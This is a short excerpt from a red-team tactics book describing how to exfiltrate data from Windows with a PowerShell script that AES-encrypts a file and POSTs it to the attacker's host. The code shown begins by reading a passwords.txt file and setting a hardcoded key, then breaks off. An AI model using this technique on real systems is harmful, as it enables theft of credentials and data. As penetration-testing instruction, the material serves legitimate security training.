Hands-On Red Team Tactics

Exfiltration with PowerShell

Another way to exfiltrate data on Windows systems is by using PowerShell. This can be done with a few simple lines of which will encrypt the contents of a file in Advanced Encryption Standard (AES) format using a predefined key and send it to our host using HTTP POST request. A simple example of this method can be found at the following link: https://azeria-labs.com/data-exfiltration/.

Using the following code and saving it as a PowerShell script, or executing it directly in the victim's command shell, we can successfully transfer data.

$file = Get-Content C:\Users\PT\Desktop\passwords.txt$key = (New-Object System.Text.ASCIIEncoding).GetBytes("54b8617eca0e54c7d3c8e6732c6b687a")$securestring = new-object System.Security.SecureString ...